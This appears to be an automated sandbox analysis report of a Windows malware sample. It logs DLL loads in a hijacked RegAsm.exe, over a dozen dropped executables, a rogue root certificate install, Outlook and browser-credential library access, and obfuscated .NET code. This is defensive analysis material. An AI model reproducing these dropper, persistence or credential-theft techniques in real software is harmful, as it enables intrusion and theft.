Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Batch AVI Converter_is1

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 12713984 > 1048576

Source: file.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0xbffc00

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3018995709.000000006897D000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb{ source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.0000000001913000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000003270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdbG source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2297812904.0000000005B80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Documents\iofolko5\BlueSapphire_portable.pdbM source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.00000000018C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2478765013.00000000018C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: file.exe, file.exe, 00000000.00000002.1726745266.0000000004A13000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3019447186.0000000068B3F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: mozglue.pdb source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3018995709.000000006897D000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000000.2061054004.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000003.2082375937.000001EBBEA4B000.00000004.00000020.00020000.00000000.sdmp, WWMeRq3HihRV9YRKtaMBDHoA.exe, 00000006.00000003.2099829070.000001EBBEB63000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000002.2542689715.0000000003270000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nLC:\Windows\BlueSapphire_portable.pdb source: Kra4UjTOv3M2ogVWTG9TXvYP.exe, 0000000B.00000002.2414919071.0000000001538000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\sXnMStC.pdb source: Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2227701770.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, Dzj5MNqCPIubP7Rrjm1D2Yt6.exe, 00000007.00000002.2297812904.0000000005B80000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Unpacked PE file: 16.2.Mk75cxC4KyOkgnwZzE1K_RlU.exe.7c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pymoazte:EW;gujgkxpj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pymoazte:EW;gujgkxpj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	Unpacked PE file: 56.2.batchaviconverter32.exe.400000.0.unpack .text:ER;_areg_3:R;.data:W;.rsrc:R;_breg_3:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe

Unpacked PE file: 56.2.batchaviconverter32.exe.400000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.file.exe.5a30000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: file.exe

Static PE information: 0xB9F64B14 [Mon Nov 12 06:07:16 2068 UTC]

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe

Code function: 8_2_00406312 GetModuleHandleA,LoadLibraryA,GetProcAddress,

8_2_00406312

Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_4359015

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05A99B08 push E805A113h; iretd	0_2_05A99B0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_005673C0 push ecx; ret	1_2_005673D3
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_00C90B41 pushad ; ret	5_2_00C90DC6
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_00C90988 push ss; ret	5_2_00C90A72
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_00C908D8 push ss; ret	5_2_00C908DA
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_00C908E1 push ss; ret	5_2_00C908E2
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_00C908E5 push eax; ret	5_2_00C908E6
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Code function: 5_2_02A02A0F push edi; iretd	5_2_02A02A10
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2FA5156 push rsi; retf	6_2_00007FF7B2FA5157
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Code function: 6_2_00007FF7B2FA5166 push rsi; retf	6_2_00007FF7B2FA5167
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_004065C8 push 00406605h; ret	10_2_004065FD
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_004040B5 push eax; ret	10_2_004040F1
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00408104 push ecx; mov dword ptr [esp], eax	10_2_00408109
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00404185 push 00404391h; ret	10_2_00404389
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00404206 push 00404391h; ret	10_2_00404389
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_0040C218 push eax; ret	10_2_0040C219
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_004042E8 push 00404391h; ret	10_2_00404389
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00404283 push 00404391h; ret	10_2_00404389
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Code function: 10_2_00408F38 push 00408F6Bh; ret	10_2_00408F63

Source: 0.2.file.exe.5a30000.4.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 0.2.file.exe.5a30000.4.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 0.2.file.exe.5a30000.4.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 0.2.file.exe.5a30000.4.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 0.2.file.exe.5a30000.4.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 0.2.file.exe.5a30000.4.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Jump to dropped file

Installs new ROOT certificates

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 Blob

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-R68PO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66dd2c2d3b88f_opera[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFIDGDBGCA.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	File created: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX1\frhasdtr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sgfdm[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lgrn[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\T1kEdFsnxciHVYBeHqJvMP2Q.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	File created: C:\ProgramData\DKIM Authenticator lib 9.11.45\DKIM Authenticator lib 9.11.45.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-V3DES.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Jump to dropped file
